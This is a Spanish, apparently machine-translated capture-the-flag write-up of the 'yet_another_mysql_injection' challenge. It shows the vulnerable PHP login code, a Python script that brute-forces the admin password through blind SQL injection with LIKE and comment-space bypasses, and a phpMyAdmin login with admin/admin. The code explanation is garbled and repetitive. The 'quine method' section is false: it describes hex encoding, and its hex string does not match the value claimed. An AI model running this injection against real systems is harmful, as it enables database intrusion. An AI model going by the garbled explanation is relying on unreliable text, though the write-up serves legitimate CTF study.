[Quinto espacio 2021] todavía_another_mysql_injection wp

[Quinto Espacio 2021]todavía_otra_inyección_mysql

f12 pista encontrada/?sourceimagen-20230707160316566

El código fuente se proporciona directamente después de acceder.

<?php
include_once("lib.php");
function alertMes($mes,$url){
    
    
    die("<script>alert('{
      
      $mes}');location.href='{
      
      $url}';</script>");
}

function checkSql($s) {
    
    
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
    
    
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    
    
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
    
    
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
    
    
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    
    
        die($FLAG);
    } else {
    
    
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
    
    
  show_source(__FILE__);
  die;
}
?>

A partir de este código, podemos saber que necesitamos pasar dos valores usernamey password, y luego se alcanzará la función cuando se verifique la contraseña checkSql, y esta función filtra las palabras clave de inyección SQL más utilizadas.

La clave es

$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);

Explicación del código:

  1. Utilice la variable sql para almacenar una declaración de consulta SQL que seleccione la columna denominada "contraseña" de la tabla de la base de datos denominada "usuarios", donde el valor de la columna "nombre de usuario" es igual a "admin" y el valor de la "contraseña" columna La variable igual sql almacena una declaración de consulta SQL que selecciona la columna denominada "contraseña" de la tabla de la base de datos denominada "usuarios", donde el valor de la columna "nombre de usuario" es igual a "admin" y el valor de la "contraseña" "columna igual a variablesql almacena una consulta SQL que selecciona una columna llamada " p a ss w o d" de una tabla de base de datos llamada " usuarios " donde el valor de la columna " nombre de usuario " es igual a " ad min " , y el valor de la columna " contraseña " es igual al valor de la variable contraseña .
  2. Utilice la función mysqli_query para ejecutar la consulta SQL y almacenar los resultados en la variable $user_result.
  3. Utilice la función mysqli_fetch_array para obtener una fila de registros de los resultados de la consulta y almacenarla en la fila variable. en esta fila. estefila en . Esta matriz de filas contiene el valor de la columna "contraseña" obtenida de la base de datos.

Entonces nuestro objetivo es encontrar adminel correspondientepassword

Aunque checkSqlla mayoría de las palabras clave se han filtrado, like /**/ ' %no se han filtrado. Puede escribir un script para descifrar la contraseña. Encontré directamente un script maestro aquí.

import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28610/index.php"
    flag = ""
    while True:
        for i in alp:
            data={
    
    "username":"admin","password":f"1'or/**/password/**/like/**/'{
      
      flag+i}%'#"}
            resp = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "something wrong" not in resp.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
get_pass()

Explota la contraseña

imagen-20230707164252807

Obtener bandera después de iniciar sesión

Reponer:

Esta pregunta examina el método quine.

método quine

El método Quine es un método técnico utilizado para eludir las defensas de inyección SQL basadas en listas blancas. La inclusión en listas blancas es una medida de defensa más segura que verifica si la entrada del usuario contiene ciertos caracteres o cadenas y solo permite que estos caracteres o cadenas se utilicen en consultas. Esto puede evitar que se ejecuten algunas operaciones y declaraciones maliciosas.

El método Quine consiste en eludir esta medida de defensa de la lista blanca mediante la construcción de algunas declaraciones de consulta especiales. Por ejemplo, al ejecutar una consulta, un atacante podría crear la siguiente declaración para omitir la lista blanca:

SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 0x2575716572795f646574656374

En esta declaración, el atacante utiliza la codificación HEX para representar la cadena en el lado derecho del operador LIKE. Esta cadena es en realidad la codificación HEX de "unique_detect". Dado que la lista blanca solo permite el uso de caracteres o cadenas específicos, pero no de operadores u operaciones específicas, los atacantes pueden usar este método para eludir las restricciones de la lista blanca y realizar operaciones maliciosas.

Para obtener más información, consulte NSS Daily Brush-[Fifth Space 2021]yet_another_mysql_injection-Qunie

Fuente del script: [Quinto Espacio 2021]yet_another_mysql_injection

Método dos:

Utilice dirsearch para escanear y podrá ver que hay /phpmyadminrutas.

imagen-20230707170232848

Acceso directo, solo prueba la contraseña débil, admincontraseña de cuentaadmin

imagen-20230707170520008

Puede ver adminel correspondiente desde aquí passwordy luego volver a iniciar sesión para obtener la bandera.

imagen-20230707170639473

Supongo que te gusta

Origin blog.csdn.net/Leaf_initial/article/details/131601121
Recomendado
Clasificación